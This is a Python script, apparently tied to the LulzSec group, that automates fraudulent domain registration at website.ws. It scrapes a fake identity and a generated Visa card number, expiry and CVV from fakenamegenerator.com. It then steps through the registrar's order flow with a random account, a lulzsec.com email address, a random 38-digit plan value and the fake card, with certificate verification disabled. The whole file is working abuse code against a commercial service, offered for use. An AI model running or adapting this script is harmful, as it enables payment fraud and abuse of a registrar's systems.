#!/usr/bin/env python

import bs4
import random
import requests
import string


def create_domain(domain):
    sess = requests.Session()

    while True:
        soup = bs4.BeautifulSoup(sess.get('http://www.fakenamegenerator.com/').text)
        if soup.find('li', text='Visa:'):
            break

    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    first_name = soup.find('div', class_='address').h3.text.split()[0]
    last_name = soup.find('div', class_='address').h3.text.split()[2]
    number = soup.find('li', class_='tel').span.text
    address = list(soup.find('div', class_='adr').stripped_strings)[0]
    city = list(soup.find('div', class_='adr').stripped_strings)[1].split(',')[0]
    state = list(soup.find('div', class_='adr').stripped_strings)[1].split(',')[1].strip().split()[0]
    zip_code = list(soup.find('div', class_='adr').stripped_strings)[1].split(',')[1].strip().split()[1]
    pan = soup.find('li', text='Visa:').findNext('li').text
    exp_mo = soup.find('li', text='Expires:').findNext('li').text.split('/')[0]
    if len(exp_mo) == 1:
        exp_mo = '0' + exp_mo
    exp_yr = soup.find('li', text='Expires:').findNext('li').text.split('/')[1]
    cvv2 = soup.find('li', text='Expires:').findNext(class_='lab').findNext('li').text
    print username, password


    resp = sess.get('https://www.website.ws/orderflow/index.dhtml',
                    params={'step': 10, 'act': 'save', 'username': username,
                            'password': password, 'password_confirm': password,
                            'salutation': 'Mr.', 'firstname': first_name,
                            'lastname': last_name, 'sponsor': 'gditrafficws'}, verify=False)
    if resp.json()['res'] != 'OK':
        exit(resp.text)

    resp = sess.get('https://www.website.ws/orderflow/index.dhtml',
                    params={'step': 20, 'act': 'save', 'security_type': 'O',
                            'security_type2': 'N', 'security': 'Blue',
                            'security2': 9, 'whyjoin': 'PRD'}, verify=False)
    if resp.json()['res'] != 'OK':
        exit(resp.text)

    resp = sess.get('https://www.website.ws/orderflow/index.dhtml',
                    params={'step': 30, 'act': 'save', 'email': '%s@mya2.lulzsec.com' % username,
                            'email_confirm': '%s@mya2.lulzsec.com' % username, 'phone': number,
                            'phone_ext': '', 'phone_type': 'H', 'phone2': '', 'phone2_ext': '',
                            'phone2_type': '', 'ccaddr': address, 'ccaddr2': '', 'city': city,
                            'ccstate': state, 'cczip': zip_code, 'country': 'US'}, verify=False)
    if resp.json()['res'] != 'OK':
        exit(resp.text)

    resp = sess.get('https://www.website.ws/orderflow/index.dhtml',
                    params={'step': 70, 'act': 'save', 'new_domain': domain,
                            'tld': 'ws'}, verify=False)
    if resp.json()['res'] != 'OK':
        exit(resp.text)

    plan = ''.join(random.choice(string.digits) for _ in range(38))
    resp = sess.get('https://www.website.ws/orderflow/index.dhtml',
                    params={'step': 60, 'act': 'add', 'name': '%s.ws' % domain,
                            'plan': plan, 'privacy': 1, 'type': 'TLD'}, verify=False)
    if resp.json()['res'] != 'OK':
        exit(resp.text)

    resp = sess.get('https://www.website.ws/orderflow/index.dhtml',
                    params={'step': 90, 'act': 'save', 'ccaddr_b': address,
                            'ccaddr2_b': '', 'cczip_b': zip_code, 'ccstate_b': state,
                            'city_b': city, 'ccno': pan, 'ccexpmo': exp_mo, 'ccexpyr': exp_yr,
                            'ccname': '%s %s' % (first_name, last_name), 'cvv2': cvv2}, verify=False)
    if resp.json()['res'] != 'OK':
        exit(resp.text)

if __name__ == '__main__':
    create_domain('fgts')
